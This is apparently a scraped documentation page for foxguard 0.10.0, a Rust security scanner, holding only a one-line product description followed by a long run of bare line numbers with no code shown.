foxguard 0.10.0

A security scanner as fast as a linter, written in Rust. 200+ built-in rules across 12 source languages.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021
3022
3023
3024
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
3043
3044
3045
3046
3047
3048
3049
3050
3051
3052
3053
3054
3055
3056
3057
3058
3059
3060
3061
3062
3063
3064
3065
3066
3067
3068
3069
3070
3071
3072
3073
3074
3075
3076
3077
3078
3079
3080
3081
3082
3083
3084
3085
3086
3087
3088
3089
3090
3091
3092
3093
3094
3095
3096
3097
3098
3099
3100
3101
3102
3103
3104
3105
3106
3107
3108
3109
3110
3111
3112
3113
3114
3115
3116
3117
3118
3119
3120
3121
3122
3123
3124
3125
3126
3127
3128
3129
3130
3131
3132
3133
3134
3135
3136
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146
3147
3148
3149
3150
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161
3162
3163
3164
3165
3166
3167
3168
3169
3170
3171
3172
3173
3174
3175
3176
3177
3178
3179
3180
3181
3182
3183
3184
3185
3186
3187
3188
3189
3190
3191
3192
3193
3194
3195
3196
3197
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207
3208
3209
3210
3211
3212
3213
3214
3215
3216
3217
3218
3219
3220
3221
3222
3223
3224
3225
3226
3227
3228
3229
3230
3231
3232
3233
3234
3235
3236
3237
3238
3239
3240
3241
3242
3243
3244
3245
3246
3247
3248
3249
3250
3251
3252
3253
3254
3255
3256
3257
3258
3259
3260
3261
3262
3263
3264
3265
3266
3267
3268
3269
3270
3271
3272
3273
3274
3275
3276
3277
3278
3279
3280
3281
3282
3283
3284
3285
3286
3287
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299
3300
3301
3302
3303
3304
3305
3306
3307
3308
3309
3310
3311
3312
3313
3314
3315
3316
3317
3318
3319
3320
3321
3322
3323
3324
3325
3326
3327
3328
3329
3330
3331
3332
3333
3334
3335
3336
3337
3338
3339
3340
3341
3342
3343
3344
3345
3346
3347
3348
3349
3350
3351
3352
3353
3354
3355
3356
3357
3358
3359
3360
3361
3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395
3396
3397
3398
3399
3400
3401
3402
3403
3404
3405
3406
3407
3408
3409
3410
3411
3412
3413
3414
3415
3416
3417
3418
3419
3420
3421
3422
3423
3424
3425
3426
3427
3428
3429
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3440
3441
3442
3443
3444
3445
3446
3447
3448
3449
3450
3451
3452
3453
3454
3455
3456
3457
3458
3459
3460
3461
3462
3463
3464
3465
3466
3467
3468
3469
3470
3471
3472
3473
3474
3475
3476
3477
3478
3479
3480
3481
3482
3483
3484
3485
3486
3487
3488
3489
3490
3491
3492
3493
3494
3495
3496
3497
3498
3499
3500
3501
3502
3503
3504
3505
3506
3507
3508
3509
3510
3511
3512
3513
3514
3515
3516
3517
3518
3519
3520
3521
3522
3523
3524
3525
3526
3527
3528
3529
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3540
3541
3542
3543
3544
3545
3546
3547
3548
3549
3550
3551
3552
3553
3554
3555
3556
3557
3558
3559
3560
3561
3562
3563
3564
3565
3566
3567
3568
3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
3598
3599
3600
3601
3602
3603
3604
3605
3606
3607
3608
3609
3610
3611
3612
3613
3614
3615
3616
3617
3618
3619
3620
3621
3622
3623
3624
3625
3626
3627
3628
3629
3630
3631
3632
3633
3634
3635
3636
3637
3638
3639
3640
3641
3642
3643
3644
3645
3646
3647
3648
3649
3650
3651
3652
3653
3654
3655
3656
3657
3658
3659
3660
3661
3662
3663
3664
3665
3666
3667
3668
3669
3670
3671
3672
3673
3674
3675
3676
3677
3678
3679
3680
3681
3682
3683
3684
3685
3686
3687
3688
3689
3690
3691
3692
3693
3694
3695
3696
3697
3698
3699
3700
3701
3702
3703
3704
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716
3717
3718
3719
3720
3721
3722
3723
3724
3725
3726
3727
3728
3729
3730
3731
3732
3733
3734
3735
3736
3737
3738
3739
3740
3741
3742
3743
3744
3745
3746
3747
3748
3749
3750
3751
3752
3753
3754
3755
3756
3757
3758
3759
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778
3779
3780
3781
3782
3783
3784
3785
3786
3787
3788
3789
3790
3791
3792
3793
3794
3795
3796
3797
3798
3799
3800
3801
3802
3803
3804
3805
3806
3807
3808
3809
3810
3811
3812
3813
3814
3815
3816
3817
3818
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833
3834
3835
3836
3837
3838
3839
3840
3841
3842
3843
3844
3845
3846
3847
3848
3849
3850
3851
3852
3853
3854
3855
3856
3857
3858
3859
3860
3861
3862
3863
3864
3865
3866
3867
3868
3869
3870
3871
3872
3873
3874
3875
3876
3877
3878
3879
3880
3881
3882
3883
3884
3885
3886
3887
3888
3889
3890
3891
3892
3893
3894
3895
3896
3897
3898
3899
3900
3901
3902
3903
3904
3905
3906
3907
3908
3909
3910
3911
3912
3913
3914
3915
3916
3917
3918
3919
3920
3921
3922
3923
3924
3925
3926
3927
3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
3956
3957
3958
3959
3960
3961
3962
3963
3964
3965
3966
3967
3968
3969
3970
3971
3972
3973
3974
3975
3976
3977
3978
3979
3980
3981
3982
3983
3984
3985
3986
3987
3988
3989
3990
3991
3992
3993
3994
3995
3996
3997
3998
3999
4000
4001
4002
4003
4004
4005
4006
4007
4008
4009
4010
4011
4012
4013
4014
4015
4016
4017
4018
4019
4020
4021
4022
4023
4024
4025
4026
4027
4028
4029
4030
4031
4032
4033
4034
4035
4036
4037
4038
4039
4040
4041
4042
4043
4044
4045
4046
4047
4048
4049
4050
4051
4052
4053
4054
4055
4056
4057
4058
4059
4060
4061
4062
4063
4064
4065
4066
4067
4068
4069
4070
4071
4072
4073
4074
4075
4076
4077
4078
4079
4080
4081
4082
4083
4084
4085
4086
4087
4088
4089
4090
4091
4092
4093
4094
4095
4096
4097
4098
4099
4100
4101
4102
4103
4104
4105
4106
4107
4108
4109
4110
4111
4112
4113
4114
4115
4116
4117
4118
4119
4120
4121
4122
4123
4124
4125
4126
4127
4128
4129
4130
4131
4132
4133
4134
4135
4136
4137
4138
4139
4140
4141
4142
4143
4144
4145
4146
4147
4148
4149
4150
4151
4152
4153
4154
4155
4156
4157
4158
4159
4160
4161
4162
4163
4164
4165
4166
4167
4168
4169
4170
4171
4172
4173
4174
4175
4176
4177
4178
4179
4180
4181
4182
4183
4184
4185
4186
4187
4188
4189
4190
4191
4192
4193
4194
4195
4196
4197
4198
4199
4200
4201
4202
4203
4204
4205
4206
4207
4208
4209
4210
4211
4212
4213
4214
4215
4216
4217
4218
4219
4220
4221
4222
4223
4224
4225
4226
4227
4228
4229
4230
4231
4232
4233
4234
4235
4236
4237
4238
4239
4240
4241
4242
4243
4244
4245
4246
4247
4248
4249
4250
4251
4252
4253
4254
4255
4256
4257
4258
4259
4260
4261
4262
4263
4264
4265
4266
4267
4268
4269
4270
4271
4272
4273
4274
4275
4276
4277
4278
4279
4280
4281
4282
4283
4284
4285
4286
4287
4288
4289
4290
4291
4292
4293
4294
4295
4296
4297
4298
4299
4300
4301
4302
4303
4304
4305
4306
4307
4308
4309
4310
4311
4312
4313
4314
4315
4316
4317
4318
4319
4320
4321
4322
4323
4324
4325
4326
4327
4328
4329
4330
4331
4332
4333
4334
4335
4336
4337
4338
4339
4340
4341
4342
4343
4344
4345
4346
4347
4348
4349
4350
4351
4352
4353
4354
4355
4356
4357
4358
4359
4360
4361
4362
4363
4364
4365
4366
4367
4368
4369
4370
4371
4372
4373
4374
4375
4376
4377
4378
4379
4380
4381
4382
4383
4384
4385
4386
4387
4388
4389
4390
4391
4392
4393
4394
4395
4396
4397
4398
4399
4400
4401
4402
4403
4404
4405
4406
4407
4408
4409
4410
4411
4412
4413
4414
4415
4416
4417
4418
4419
4420
4421
4422
4423
4424
4425
4426
4427
4428
4429
4430
4431
4432
4433
4434
4435
4436
4437
4438
4439
4440
4441
4442
4443
4444
4445
4446
4447
4448
4449
4450
4451
4452
4453
4454
4455
4456
4457
4458
4459
4460
4461
4462
4463
4464
4465
4466
4467
4468
4469
4470
4471
4472
4473
4474
4475
4476
4477
4478
4479
4480
4481
4482
4483
4484
4485
4486
4487
4488
4489
4490
4491
4492
4493
4494
4495
4496
4497
4498
4499
4500
4501
4502
4503
4504
4505
4506
4507
4508
4509
4510
4511
4512
4513
4514
4515
4516
4517
4518
4519
4520
4521
4522
4523
4524
4525
4526
4527
4528
4529
4530
4531
4532
4533
4534
4535
4536
4537
4538
4539
4540
4541
4542
4543
4544
4545
4546
4547
4548
4549
4550
4551
4552
4553
4554
4555
4556
4557
4558
4559
4560
4561
4562
4563
4564
4565
4566
4567
4568
4569
4570
4571
4572
4573
4574
4575
4576
4577
4578
4579
4580
4581
4582
4583
4584
4585
4586
4587
4588
4589
4590
4591
4592
4593
4594
4595
4596
4597
4598
4599
4600
4601
4602
4603
4604
4605
4606
4607
4608
4609
4610
4611
4612
4613
4614
4615
4616
4617
4618
4619
4620
4621
4622
4623
4624
4625
4626
4627
4628
4629
4630
4631
4632
4633
4634
4635
4636
4637
4638
4639
4640
4641
4642
4643
4644
4645
4646
4647
4648
4649
4650
4651
4652
4653
4654
4655
4656
4657
4658
4659
4660
4661
4662
4663
4664
4665
4666
4667
4668
4669
4670
4671
4672
4673
4674
4675
4676
4677
4678
4679
4680
4681
4682
4683
4684
4685
4686
4687
4688
4689
4690
4691
4692
4693
4694
4695
4696
4697
4698
4699
4700
4701
4702
4703
4704
4705
4706
4707
4708
4709
4710
4711
4712
4713
4714
4715
4716
4717
4718
4719
4720
4721
4722
4723
4724
4725
4726
4727
4728
4729
4730
4731
4732
4733
4734
4735
4736
4737
4738
4739
4740
4741
4742
4743
4744
4745
4746
4747
4748
4749
4750
4751
4752
4753
4754
4755
4756
4757
4758
4759
4760
4761
4762
4763
4764
4765
4766
4767
4768
4769
4770
4771
4772
4773
4774
4775
4776
4777
4778
4779
4780
4781
4782
4783
4784
4785
4786
4787
4788
4789
4790
4791
4792
4793
4794
4795
4796
4797
4798
4799
4800
4801
4802
4803
4804
4805
4806
4807
4808
4809
4810
4811
4812
4813
4814
4815
4816
4817
4818
4819
4820
4821
4822
4823
4824
4825
4826
4827
4828
4829
4830
4831
4832
4833
4834
4835
4836
4837
4838
4839
4840
4841
4842
4843
4844
4845
4846
4847
4848
4849
4850
4851
4852
4853
4854
4855
4856
4857
4858
4859
4860
4861
4862
4863
4864
4865
4866
4867
4868
4869
4870
4871
4872
4873
4874
4875
4876
4877
4878
4879
4880
4881
4882
4883
4884
4885
4886
4887
4888
4889
4890
4891
4892
4893
4894
4895
4896
4897
4898
4899
4900
4901
4902
4903
4904
4905
4906
4907
4908
4909
4910
4911
4912
4913
4914
4915
4916
4917
4918
4919
4920
4921
4922
4923
4924
4925
4926
4927
4928
4929
4930
4931
4932
4933
4934
4935
4936
4937
4938
4939
4940
4941
4942
4943
4944
4945
4946
4947
4948
4949
4950
4951
4952
4953
4954
4955
4956
4957
4958
4959
4960
4961
4962
4963
4964
4965
4966
4967
4968
4969
4970
4971
4972
4973
4974
4975
4976
4977
4978
4979
4980
4981
4982
4983
4984
4985
4986
4987
4988
4989
4990
4991
4992
4993
4994
4995
4996
4997
4998
4999
5000
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
5011
5012
5013
5014
5015
5016
5017
5018
5019
5020
5021
5022
5023
5024
5025
5026
5027
5028
5029
5030
5031
5032
5033
5034
5035
5036
5037
5038
5039
5040
5041
5042
5043
5044
5045
5046
5047
5048
5049
5050
5051
5052
5053
5054
5055
5056
5057
5058
5059
5060
5061
5062
5063
5064
5065
5066
5067
5068
5069
5070
5071
5072
5073
5074
5075
5076
5077
5078
5079
5080
5081
5082
5083
5084
5085
5086
5087
5088
5089
5090
5091
5092
5093
5094
5095
5096
5097
5098
5099
5100
5101
5102
5103
5104
5105
5106
5107
5108
5109
5110
5111
5112
5113
5114
5115
5116
5117
5118
5119
5120
5121
5122
5123
5124
5125
5126
5127
5128
5129
5130
5131
5132
5133
5134
5135
5136
5137
5138
5139
5140
5141
5142
5143
5144
5145
5146
5147
5148
5149
5150
5151
5152
5153
5154
5155
5156
5157
5158
5159
5160
5161
5162
5163
5164
5165
5166
5167
5168
5169
5170
5171
5172
5173
5174
5175
5176
5177
5178
5179
5180
5181
5182
5183
5184
5185
5186
5187
5188
5189
5190
5191
5192
5193
5194
5195
5196
5197
5198
5199
5200
5201
5202
5203
5204
5205
5206
5207
5208
5209
5210
5211
5212
5213
5214
5215
5216
5217
5218
5219
5220
5221
5222
5223
5224
5225
5226
5227
5228
5229
5230
5231
5232
5233
5234
5235
5236
5237
5238
5239
5240
5241
5242
5243
5244
5245
5246
5247
5248
5249
5250
5251
5252
5253
5254
5255
5256
5257
5258
5259
5260
5261
5262
5263
5264
5265
5266
5267
5268
5269
5270
5271
5272
5273
5274
5275
5276
5277
5278
5279
5280
5281
5282
5283
5284
5285
5286
5287
5288
5289
5290
5291
5292
5293
5294
5295
5296
5297
5298
5299
5300
5301
5302
5303
5304
5305
5306
5307
5308
5309
5310
5311
5312
5313
5314
5315
